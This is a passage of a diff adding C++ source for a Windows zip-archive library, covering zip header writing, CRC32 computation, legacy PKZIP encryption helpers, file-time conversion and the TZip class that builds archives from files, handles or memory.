+ state.ds.strstart++;
+ state.ds.lookahead--;
+ }
+ else {
+ /* There is no previous match to compare with, wait for
+ * the next step to decide.
+ */
+ match_available = 1;
+ state.ds.strstart++;
+ state.ds.lookahead--;
+ }
+ // Assert(state,strstart <= isize && lookahead <= isize, "a bit too far");
+
+ /* Make sure that we always have enough lookahead, except
+ * at the end of the input file. We need MAX_MATCH bytes
+ * for the next match, plus MIN_MATCH bytes to insert the
+ * string following the next match.
+ */
+ if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
+ }
+ if (match_available) ct_tally(state, 0, state.ds.window[state.ds.strstart - 1]);
+
+ return FLUSH_BLOCK(state, 1); /* eof */
+}
+
+
+
+
+
+
+
+
+
+
+
+
+int putlocal(struct zlist far* z, WRITEFUNC wfunc, void* param)
+{ // Write a local header described by *z to file *f. Return a ZE_ error code.
+ PUTLG(LOCSIG, f);
+ PUTSH(z->ver, f);
+ PUTSH(z->lflg, f);
+ PUTSH(z->how, f);
+ PUTLG(z->tim, f);
+ PUTLG(z->crc, f);
+ PUTLG(z->siz, f);
+ PUTLG(z->len, f);
+ PUTSH(z->nam, f);
+ PUTSH(z->ext, f);
+ size_t res = (size_t)wfunc(param, z->iname, (unsigned int)z->nam);
+ if (res != z->nam) return ZE_TEMP;
+ if (z->ext)
+ {
+ res = (size_t)wfunc(param, z->extra, (unsigned int)z->ext);
+ if (res != z->ext) return ZE_TEMP;
+ }
+ return ZE_OK;
+}
+
+int putextended(struct zlist far* z, WRITEFUNC wfunc, void* param)
+{ // Write an extended local header described by *z to file *f. Returns a ZE_ code
+ PUTLG(EXTLOCSIG, f);
+ PUTLG(z->crc, f);
+ PUTLG(z->siz, f);
+ PUTLG(z->len, f);
+ return ZE_OK;
+}
+
+int putcentral(struct zlist far* z, WRITEFUNC wfunc, void* param)
+{ // Write a central header entry of *z to file *f. Returns a ZE_ code.
+ PUTLG(CENSIG, f);
+ PUTSH(z->vem, f);
+ PUTSH(z->ver, f);
+ PUTSH(z->flg, f);
+ PUTSH(z->how, f);
+ PUTLG(z->tim, f);
+ PUTLG(z->crc, f);
+ PUTLG(z->siz, f);
+ PUTLG(z->len, f);
+ PUTSH(z->nam, f);
+ PUTSH(z->cext, f);
+ PUTSH(z->com, f);
+ PUTSH(z->dsk, f);
+ PUTSH(z->att, f);
+ PUTLG(z->atx, f);
+ PUTLG(z->off, f);
+ if ((size_t)wfunc(param, z->iname, (unsigned int)z->nam) != z->nam ||
+ (z->cext && (size_t)wfunc(param, z->cextra, (unsigned int)z->cext) != z->cext) ||
+ (z->com && (size_t)wfunc(param, z->comment, (unsigned int)z->com) != z->com))
+ return ZE_TEMP;
+ return ZE_OK;
+}
+
+
+int putend(int n, ulg s, ulg c, extent m, char* z, WRITEFUNC wfunc, void* param)
+{ // write the end of the central-directory-data to file *f.
+ PUTLG(ENDSIG, f);
+ PUTSH(0, f);
+ PUTSH(0, f);
+ PUTSH(n, f);
+ PUTSH(n, f);
+ PUTLG(s, f);
+ PUTLG(c, f);
+ PUTSH(m, f);
+ // Write the comment, if any
+ if (m && wfunc(param, z, (unsigned int)m) != m) return ZE_TEMP;
+ return ZE_OK;
+}
+
+
+
+
+
+
+const ulg crc_table[256] = {
+ 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
+ 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
+ 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
+ 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
+ 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
+ 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
+ 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
+ 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
+ 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
+ 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
+ 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
+ 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
+ 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
+ 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
+ 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
+ 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
+ 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
+ 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
+ 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
+ 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
+ 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
+ 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
+ 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
+ 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
+ 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
+ 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
+ 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
+ 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
+ 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
+ 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
+ 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
+ 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
+ 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
+ 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
+ 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
+ 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
+ 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
+ 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
+ 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
+ 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
+ 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
+ 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
+ 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
+ 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
+ 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
+ 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
+ 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
+ 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
+ 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
+ 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
+ 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
+ 0x2d02ef8dL
+};
+
+#define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8))
+#define DO1(buf) crc = CRC32(crc, *buf++)
+#define DO2(buf) DO1(buf); DO1(buf)
+#define DO4(buf) DO2(buf); DO2(buf)
+#define DO8(buf) DO4(buf); DO4(buf)
+
+ulg crc32(ulg crc, const uch* buf, extent len)
+{
+ if (buf == NULL) return 0L;
+ crc = crc ^ 0xffffffffL;
+ while (len >= 8) { DO8(buf); len -= 8; }
+ if (len) do { DO1(buf); } while (--len);
+ return crc ^ 0xffffffffL; // (instead of ~c for 64-bit machines)
+}
+
+
+void update_keys(unsigned long* keys, char c)
+{
+ keys[0] = CRC32(keys[0], c);
+ keys[1] += keys[0] & 0xFF;
+ keys[1] = keys[1] * 134775813L + 1;
+ keys[2] = CRC32(keys[2], keys[1] >> 24);
+}
+char decrypt_byte(unsigned long* keys)
+{
+ unsigned temp = ((unsigned)keys[2] & 0xffff) | 2;
+ return (char)(((temp * (temp ^ 1)) >> 8) & 0xff);
+}
+char zencode(unsigned long* keys, char c)
+{
+ int t = decrypt_byte(keys);
+ update_keys(keys, c);
+ return (char)(t ^ c);
+}
+
+
+
+
+
+
+
+bool HasZipSuffix(const TCHAR* fn)
+{
+ const TCHAR* ext = fn + _tcslen(fn);
+ while (ext > fn && *ext != '.') ext--;
+ if (ext == fn && *ext != '.') return false;
+ if (_tcsicmp(ext, _T(".Z")) == 0) return true;
+ if (_tcsicmp(ext, _T(".zip")) == 0) return true;
+ if (_tcsicmp(ext, _T(".zoo")) == 0) return true;
+ if (_tcsicmp(ext, _T(".arc")) == 0) return true;
+ if (_tcsicmp(ext, _T(".lzh")) == 0) return true;
+ if (_tcsicmp(ext, _T(".arj")) == 0) return true;
+ if (_tcsicmp(ext, _T(".gz")) == 0) return true;
+ if (_tcsicmp(ext, _T(".tgz")) == 0) return true;
+ return false;
+}
+
+
+lutime_t filetime2timet(const FILETIME ft)
+{
+ __int64 i = *(__int64*)&ft;
+ return (lutime_t)((i - 116444736000000000) / 10000000);
+}
+
+void filetime2dosdatetime(const FILETIME ft, WORD* dosdate, WORD* dostime)
+{ // date: bits 0-4 are day of month 1-31. Bits 5-8 are month 1..12. Bits 9-15 are year-1980
+ // time: bits 0-4 are seconds/2, bits 5-10 are minute 0..59. Bits 11-15 are hour 0..23
+ SYSTEMTIME st; FileTimeToSystemTime(&ft, &st);
+ *dosdate = (WORD)(((st.wYear - 1980) & 0x7f) << 9);
+ *dosdate |= (WORD)((st.wMonth & 0xf) << 5);
+ *dosdate |= (WORD)((st.wDay & 0x1f));
+ *dostime = (WORD)((st.wHour & 0x1f) << 11);
+ *dostime |= (WORD)((st.wMinute & 0x3f) << 5);
+ *dostime |= (WORD)((st.wSecond * 2) & 0x1f);
+}
+
+
+ZRESULT GetFileInfo(HANDLE hf, ulg* attr, long* size, iztimes* times, ulg* timestamp)
+{ // The handle must be a handle to a file
+ // The date and time is returned in a long with the date most significant to allow
+ // unsigned integer comparison of absolute times. The attributes have two
+ // high bytes unix attr, and two low bytes a mapping of that to DOS attr.
+ //struct stat s; int res=stat(fn,&s); if (res!=0) return false;
+ // translate windows file attributes into zip ones.
+ BY_HANDLE_FILE_INFORMATION bhi; BOOL res = GetFileInformationByHandle(hf, &bhi);
+ if (!res) return ZR_NOFILE;
+ DWORD fa = bhi.dwFileAttributes; ulg a = 0;
+ // Zip uses the lower word for its interpretation of windows stuff
+ if (fa & FILE_ATTRIBUTE_READONLY) a |= 0x01;
+ if (fa & FILE_ATTRIBUTE_HIDDEN) a |= 0x02;
+ if (fa & FILE_ATTRIBUTE_SYSTEM) a |= 0x04;
+ if (fa & FILE_ATTRIBUTE_DIRECTORY)a |= 0x10;
+ if (fa & FILE_ATTRIBUTE_ARCHIVE) a |= 0x20;
+ // It uses the upper word for standard unix attr, which we manually construct
+ if (fa & FILE_ATTRIBUTE_DIRECTORY)a |= 0x40000000; // directory
+ else a |= 0x80000000; // normal file
+ a |= 0x01000000; // readable
+ if (fa & FILE_ATTRIBUTE_READONLY) {}
+ else a |= 0x00800000; // writeable
+// now just a small heuristic to check if it's an executable:
+ DWORD red, hsize = GetFileSize(hf, NULL); if (hsize > 40)
+ {
+ SetFilePointer(hf, 0, NULL, FILE_BEGIN); unsigned short magic; ReadFile(hf, &magic, sizeof(magic), &red, NULL);
+ SetFilePointer(hf, 36, NULL, FILE_BEGIN); unsigned long hpos; ReadFile(hf, &hpos, sizeof(hpos), &red, NULL);
+ if (magic == 0x54AD && hsize > hpos + 4 + 20 + 28)
+ {
+ SetFilePointer(hf, hpos, NULL, FILE_BEGIN); unsigned long signature; ReadFile(hf, &signature, sizeof(signature), &red, NULL);
+ if (signature == IMAGE_DOS_SIGNATURE || signature == IMAGE_OS2_SIGNATURE
+ || signature == IMAGE_OS2_SIGNATURE_LE || signature == IMAGE_NT_SIGNATURE)
+ {
+ a |= 0x00400000; // executable
+ }
+ }
+ }
+ //
+ if (attr != NULL) *attr = a;
+ if (size != NULL) *size = hsize;
+ if (times != NULL)
+ { // lutime_t is 32bit number of seconds elapsed since 0:0:0GMT, Jan1, 1970.
+ // but FILETIME is 64bit number of 100-nanosecs since Jan1, 1601
+ times->atime = filetime2timet(bhi.ftLastAccessTime);
+ times->mtime = filetime2timet(bhi.ftLastWriteTime);
+ times->ctime = filetime2timet(bhi.ftCreationTime);
+ }
+ if (timestamp != NULL)
+ {
+ WORD dosdate, dostime;
+ filetime2dosdatetime(bhi.ftLastWriteTime, &dosdate, &dostime);
+ *timestamp = (WORD)dostime | (((DWORD)dosdate) << 16);
+ }
+ return ZR_OK;
+}
+
+
+
+
+
+
+
+
+class TZip
+{
+public:
+ TZip(const char* pwd) : hfout(0), mustclosehfout(false), hmapout(0), zfis(0), obuf(0), hfin(0), writ(0), oerr(false), hasputcen(false), ooffset(0), encwriting(false), encbuf(0), password(0), state(0) { if (pwd != 0 && *pwd != 0) { password = new char[strlen(pwd) + 1]; strcpy(password, pwd); } }
+ ~TZip() { if (state != 0) delete state; state = 0; if (encbuf != 0) delete[] encbuf; encbuf = 0; if (password != 0) delete[] password; password = 0; }
+
+ // These variables say about the file we're writing into
+ // We can write to pipe, file-by-handle, file-by-name, memory-to-memmapfile
+ char* password; // keep a copy of the password
+ HANDLE hfout; // if valid, we'll write here (for files or pipes)
+ bool mustclosehfout; // if true, we are responsible for closing hfout
+ HANDLE hmapout; // otherwise, we'll write here (for memmap)
+ unsigned ooffset; // for hfout, this is where the pointer was initially
+ ZRESULT oerr; // did a write operation give rise to an error?
+ unsigned writ; // how far have we written. This is maintained by Add, not write(), to avoid confusion over seeks
+ bool ocanseek; // can we seek?
+ char* obuf; // this is where we've locked mmap to view.
+ unsigned int opos; // current pos in the mmap
+ unsigned int mapsize; // the size of the map we created
+ bool hasputcen; // have we yet placed the central directory?
+ bool encwriting; // if true, then we'll encrypt stuff using 'keys' before we write it to disk
+ unsigned long keys[3]; // keys are initialised inside Add()
+ char* encbuf; // if encrypting, then this is a temporary workspace for encrypting the data
+ unsigned int encbufsize; // (to be used and resized inside write(), and deleted in the destructor)
+ //
+ TZipFileInfo* zfis; // each file gets added onto this list, for writing the table at the end
+ TState* state; // we use just one state object per zip, because it's big (500k)
+
+ ZRESULT Create(void* z, unsigned int len, DWORD flags);
+ static unsigned sflush(void* param, const char* buf, unsigned* size);
+ static unsigned swrite(void* param, const char* buf, unsigned size);
+ unsigned int write(const char* buf, unsigned int size);
+ bool oseek(unsigned int pos);
+ ZRESULT GetMemory(void** pbuf, unsigned long* plen);
+ ZRESULT Close();
+
+ // some variables to do with the file currently being read:
+ // I haven't done it object-orientedly here, just put them all
+ // together, since OO didn't seem to make the design any clearer.
+ ulg attr; iztimes times; ulg timestamp; // all open_* methods set these
+ bool iseekable; long isize, ired; // size is not set until close() on pips
+ ulg crc; // crc is not set until close(). iwrit is cumulative
+ HANDLE hfin; bool selfclosehf; // for input files and pipes
+ const char* bufin; unsigned int lenin, posin; // for memory
+ // and a variable for what we've done with the input: (i.e. compressed it!)
+ ulg csize; // compressed size, set by the compression routines
+ // and this is used by some of the compression routines
+ char buf[16384];
+
+
+ ZRESULT open_file(const TCHAR* fn);
+ ZRESULT open_handle(HANDLE hf, unsigned int len);
+ ZRESULT open_mem(void* src, unsigned int len);
+ ZRESULT open_dir();
+ static unsigned sread(TState& s, char* buf, unsigned size);
+ unsigned read(char* buf, unsigned size);
+ ZRESULT iclose();
+
+ ZRESULT ideflate(TZipFileInfo* zfi);
+ ZRESULT istore();
+
+ ZRESULT Add(const TCHAR* odstzn, void* src, unsigned int len, DWORD flags);
+ ZRESULT AddCentral();
+
+};
+
+
+
+ZRESULT TZip::Create(void* z, unsigned int len, DWORD flags)
+{
+ if (hfout != 0 || hmapout != 0 || obuf != 0 || writ != 0 || oerr != ZR_OK || hasputcen) return ZR_NOTINITED;
+ //
+ if (flags == ZIP_HANDLE)
+ {
+ HANDLE hf = (HANDLE)z;
+ hfout = hf; mustclosehfout = false;
+#ifdef DuplicateHandle
+ BOOL res = DuplicateHandle(GetCurrentProcess(), hf, GetCurrentProcess(), &hfout, 0, FALSE, DUPLICATE_SAME_ACCESS);
+ if (res) mustclosehandle = true;
+#endif
+ // now we have hfout. Either we duplicated the handle and we close it ourselves
+ // (while the caller closes h themselves), or we couldn't duplicate it.
+ DWORD res = SetFilePointer(hfout, 0, 0, FILE_CURRENT);
+ ocanseek = (res != 0xFFFFFFFF);
+ if (ocanseek) ooffset = res; else ooffset = 0;
+ return ZR_OK;
+ }
+ else if (flags == ZIP_FILENAME)
+ {
+ const TCHAR* fn = (const TCHAR*)z;
+ hfout = CreateFile(fn, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hfout == INVALID_HANDLE_VALUE) { hfout = 0; return ZR_NOFILE; }
+ ocanseek = true;
+ ooffset = 0;
+ mustclosehfout = true;
+ return ZR_OK;
+ }
+ else if (flags == ZIP_MEMORY)
+ {
+ unsigned int size = len;
+ if (size == 0) return ZR_MEMSIZE;
+ if (z != 0) obuf = (char*)z;
+ else
+ {
+ hmapout = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, size, NULL);
+ if (hmapout == NULL) return ZR_NOALLOC;
+ obuf = (char*)MapViewOfFile(hmapout, FILE_MAP_ALL_ACCESS, 0, 0, size);
+ if (obuf == 0) { CloseHandle(hmapout); hmapout = 0; return ZR_NOALLOC; }
+ }
+ ocanseek = true;
+ opos = 0; mapsize = size;
+ return ZR_OK;
+ }
+ else return ZR_ARGS;
+}
+
+unsigned TZip::sflush(void* param, const char* buf, unsigned* size)
+{ // static
+ if (*size == 0) return 0;
+ TZip* zip = (TZip*)param;
+ unsigned int writ = zip->write(buf, *size);
+ if (writ != 0) *size = 0;
+ return writ;
+}
+unsigned TZip::swrite(void* param, const char* buf, unsigned size)
+{ // static
+ if (size == 0) return 0;
+ TZip* zip = (TZip*)param; return zip->write(buf, size);
+}
+unsigned int TZip::write(const char* buf, unsigned int size)
+{
+ const char* srcbuf = buf;
+ if (encwriting)
+ {
+ if (encbuf != 0 && encbufsize < size) { delete[] encbuf; encbuf = 0; }
+ if (encbuf == 0) { encbuf = new char[size * 2]; encbufsize = size; }
+ memcpy(encbuf, buf, size);
+ for (unsigned int i = 0; i < size; i++) encbuf[i] = zencode(keys, encbuf[i]);
+ srcbuf = encbuf;
+ }
+ if (obuf != 0)
+ {
+ if (opos + size >= mapsize) { oerr = ZR_MEMSIZE; return 0; }
+ memcpy(obuf + opos, srcbuf, size);
+ opos += size;
+ return size;
+ }
+ else if (hfout != 0)
+ {
+ DWORD writ; WriteFile(hfout, srcbuf, size, &writ, NULL);
+ return writ;
+ }
+ oerr = ZR_NOTINITED; return 0;
+}
+
+bool TZip::oseek(unsigned int pos)
+{
+ if (!ocanseek) { oerr = ZR_SEEK; return false; }
+ if (obuf != 0)
+ {
+ if (pos >= mapsize) { oerr = ZR_MEMSIZE; return false; }
+ opos = pos;
+ return true;
+ }
+ else if (hfout != 0)
+ {
+ SetFilePointer(hfout, pos + ooffset, NULL, FILE_BEGIN);
+ return true;
+ }
+ oerr = ZR_NOTINITED; return 0;
+}
+
+ZRESULT TZip::GetMemory(void** pbuf, unsigned long* plen)
+{ // When the user calls GetMemory, they're presumably at the end
+ // of all their adding. In any case, we have to add the central
+ // directory now, otherwise the memory we tell them won't be complete.
+ if (!hasputcen) AddCentral(); hasputcen = true;
+ if (pbuf != NULL) *pbuf = (void*)obuf;
+ if (plen != NULL) *plen = writ;
+ if (obuf == NULL) return ZR_NOTMMAP;
+ return ZR_OK;
+}
+
+ZRESULT TZip::Close()
+{ // if the directory hadn't already been added through a call to GetMemory,
+ // then we do it now
+ ZRESULT res = ZR_OK; if (!hasputcen) res = AddCentral(); hasputcen = true;
+ if (obuf != 0 && hmapout != 0) UnmapViewOfFile(obuf); obuf = 0;
+ if (hmapout != 0) CloseHandle(hmapout); hmapout = 0;
+ if (hfout != 0 && mustclosehfout) CloseHandle(hfout); hfout = 0; mustclosehfout = false;
+ return res;
+}
+
+
+
+
+ZRESULT TZip::open_file(const TCHAR* fn)
+{
+ hfin = 0; bufin = 0; selfclosehf = false; crc = CRCVAL_INITIAL; isize = 0; csize = 0; ired = 0;
+ if (fn == 0) return ZR_ARGS;
+ HANDLE hf = CreateFile(fn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+ if (hf == INVALID_HANDLE_VALUE) return ZR_NOFILE;
+ ZRESULT res = open_handle(hf, 0);
+ if (res != ZR_OK) { CloseHandle(hf); return res; }
+ selfclosehf = true;
+ return ZR_OK;
+}
+ZRESULT TZip::open_handle(HANDLE hf, unsigned int len)
+{
+ hfin = 0; bufin = 0; selfclosehf = false; crc = CRCVAL_INITIAL; isize = 0; csize = 0; ired = 0;
+ if (hf == 0 || hf == INVALID_HANDLE_VALUE) return ZR_ARGS;
+ DWORD res = SetFilePointer(hfout, 0, 0, FILE_CURRENT);
+ if (res != 0xFFFFFFFF)
+ {
+ ZRESULT res = GetFileInfo(hf, &attr, &isize, ×, ×tamp);
+ if (res != ZR_OK) return res;
+ SetFilePointer(hf, 0, NULL, FILE_BEGIN); // because GetFileInfo will have screwed it up
+ iseekable = true; hfin = hf;
+ return ZR_OK;
+ }
+ else
+ {
+ attr = 0x80000000; // just a normal file
+ isize = -1; // can't know size until at the end
+ if (len != 0) isize = len; // unless we were told explicitly!
+ iseekable = false;
+ SYSTEMTIME st; GetLocalTime(&st);
+ FILETIME ft; SystemTimeToFileTime(&st, &ft);
+ WORD dosdate, dostime; filetime2dosdatetime(ft, &dosdate, &dostime);
+ times.atime = filetime2timet(ft);
+ times.mtime = times.atime;
+ times.ctime = times.atime;
+ timestamp = (WORD)dostime | (((DWORD)dosdate) << 16);
+ hfin = hf;
+ return ZR_OK;
+ }
+}
+ZRESULT TZip::open_mem(void* src, unsigned int len)
+{
+ hfin = 0; bufin = (const char*)src; selfclosehf = false; crc = CRCVAL_INITIAL; ired = 0; csize = 0; ired = 0;
+ lenin = len; posin = 0;
+ if (src == 0 || len == 0) return ZR_ARGS;
+ attr = 0x80000000; // just a normal file
+ isize = len;
+ iseekable = true;
+ SYSTEMTIME st; GetLocalTime(&st);
+ FILETIME ft; SystemTimeToFileTime(&st, &ft);
+ WORD dosdate, dostime; filetime2dosdatetime(ft, &dosdate, &dostime);
+ times.atime = filetime2timet(ft);
+ times.mtime = times.atime;
+ times.ctime = times.atime;
+ timestamp = (WORD)dostime | (((DWORD)dosdate) << 16);
+ return ZR_OK;
+}
+ZRESULT TZip::open_dir()
+{
+ hfin = 0; bufin = 0; selfclosehf = false; crc = CRCVAL_INITIAL; isize = 0; csize = 0; ired = 0;
+ attr = 0x41C00010; // a readable writable directory, and again directory
+ isize = 0;
+ iseekable = false;
+ SYSTEMTIME st; GetLocalTime(&st);
+ FILETIME ft; SystemTimeToFileTime(&st, &ft);
+ WORD dosdate, dostime; filetime2dosdatetime(ft, &dosdate, &dostime);
+ times.atime = filetime2timet(ft);
+ times.mtime = times.atime;
+ times.ctime = times.atime;
+ timestamp = (WORD)dostime | (((DWORD)dosdate) << 16);
+ return ZR_OK;
+}
+
+unsigned TZip::sread(TState& s, char* buf, unsigned size)
+{ // static
+ TZip* zip = (TZip*)s.param;
+ return zip->read(buf, size);
+}
+
+unsigned TZip::read(char* buf, unsigned size)
+{
+ if (bufin != 0)
+ {
+ if (posin >= lenin) return 0; // end of input
+ ulg red = lenin - posin;
+ if (red > size) red = size;
+ memcpy(buf, bufin + posin, red);
+ posin += red;
+ ired += red;
+ crc = crc32(crc, (uch*)buf, red);
+ return red;
+ }
+ else if (hfin != 0)
+ {
+ DWORD red;
+ BOOL ok = ReadFile(hfin, buf, size, &red, NULL);
+ if (!ok) return 0;
+ ired += red;
+ crc = crc32(crc, (uch*)buf, red);
+ return red;
+ }
+ else { oerr = ZR_NOTINITED; return 0; }
+}
+
+ZRESULT TZip::iclose()
+{
+ if (selfclosehf && hfin != 0) CloseHandle(hfin); hfin = 0;
+ bool mismatch = (isize != -1 && isize != ired);
+ isize = ired; // and crc has been being updated anyway
+ if (mismatch) return ZR_MISSIZE;
+ else return ZR_OK;
+}
+
+
+
+ZRESULT TZip::ideflate(TZipFileInfo* zfi)
+{
+ if (state == 0) state = new TState();
+ // It's a very big object! 500k! We allocate it on the heap, because PocketPC's
+ // stack breaks if we try to put it all on the stack. It will be deleted lazily
+ state->err = 0;
+ state->readfunc = sread; state->flush_outbuf = sflush;
+ state->param = this; state->level = 8; state->seekable = iseekable; state->err = NULL;
+ // the following line will make ct_init realise it has to perform the init
+ state->ts.static_dtree[0].dl.len = 0;
+ // Thanks to Alvin77 for this crucial fix:
+ state->ds.window_size = 0;
+ // I think that covers everything that needs to be initted.
+ //
+ bi_init(*state, buf, sizeof(buf), TRUE); // it used to be just 1024-size, not 16384 as here
+ ct_init(*state, &zfi->att);
+ lm_init(*state, state->level, &zfi->flg);
+ ulg sz = deflate(*state);
+ csize = sz;
+ ZRESULT r = ZR_OK; if (state->err != NULL) r = ZR_FLATE;
+ return r;
+}
+
+ZRESULT TZip::istore()
+{
+ ulg size = 0;
+ for (;;)
+ {
+ unsigned int cin = read(buf, 16384); if (cin <= 0 || cin == (unsigned int)EOF) break;
+ unsigned int cout = write(buf, cin); if (cout != cin) return ZR_MISSIZE;
+ size += cin;
+ }
+ csize = size;
+ return ZR_OK;
+}
+
+
+
+
+
+bool has_seeded = false;
+ZRESULT TZip::Add(const TCHAR* odstzn, void* src, unsigned int len, DWORD flags)
+{
+ if (oerr) return ZR_FAILED;
+ if (hasputcen) return ZR_ENDED;
+
+ // if we use password encryption, then every isize and csize is 12 bytes bigger
+ int passex = 0; if (password != 0 && flags != ZIP_FOLDER) passex = 12;
+
+ // zip has its own notion of what its names should look like: i.e. dir/file.stuff
+ TCHAR dstzn[MAX_PATH]; _tcscpy(dstzn, odstzn);
+ if (*dstzn == 0) return ZR_ARGS;
+ TCHAR* d = dstzn; while (*d != 0) { if (*d == '\\') *d = '/'; d++; }
+ bool isdir = (flags == ZIP_FOLDER);
+ bool needs_trailing_slash = (isdir && dstzn[_tcslen(dstzn) - 1] != '/');
+ int method = DEFLATE; if (isdir || HasZipSuffix(dstzn)) method = STORE;
+
+ // now open whatever was our input source:
+ ZRESULT openres;
+ if (flags == ZIP_FILENAME) openres = open_file((const TCHAR*)src);
+ else if (flags == ZIP_HANDLE) openres = open_handle((HANDLE)src, len);
+ else if (flags == ZIP_MEMORY) openres = open_mem(src, len);
+ else if (flags == ZIP_FOLDER) openres = open_dir();
+ else return ZR_ARGS;
+ if (openres != ZR_OK) return openres;
+
+ // A zip "entry" consists of a local header (which includes the file name),
+ // then the compressed data, and possibly an extended local header.
+
+ // Initialize the local header
+ TZipFileInfo zfi; zfi.nxt = NULL;
+ strcpy(zfi.name, "");
+#ifdef UNICODE
+ WideCharToMultiByte(CP_UTF8, 0, dstzn, -1, zfi.iname, MAX_PATH, 0, 0);
+#else
+ strcpy(zfi.iname, dstzn);
+#endif
+ zfi.nam = strlen(zfi.iname);
+ if (needs_trailing_slash) { strcat(zfi.iname, "/"); zfi.nam++; }
+ strcpy(zfi.zname, "");
+ zfi.extra = NULL; zfi.ext = 0; // extra header to go after this compressed data, and its length
+ zfi.cextra = NULL; zfi.cext = 0; // extra header to go in the central end-of-zip directory, and its length
+ zfi.comment = NULL; zfi.com = 0; // comment, and its length
+ zfi.mark = 1;
+ zfi.dosflag = 0;
+ zfi.att = (ush)BINARY;
+ zfi.vem = (ush)0xB17; // 0xB00 is win32 os-code. 0x17 is 23 in decimal: zip 2.3
+ zfi.ver = (ush)20; // Needs PKUNZIP 2.0 to unzip it
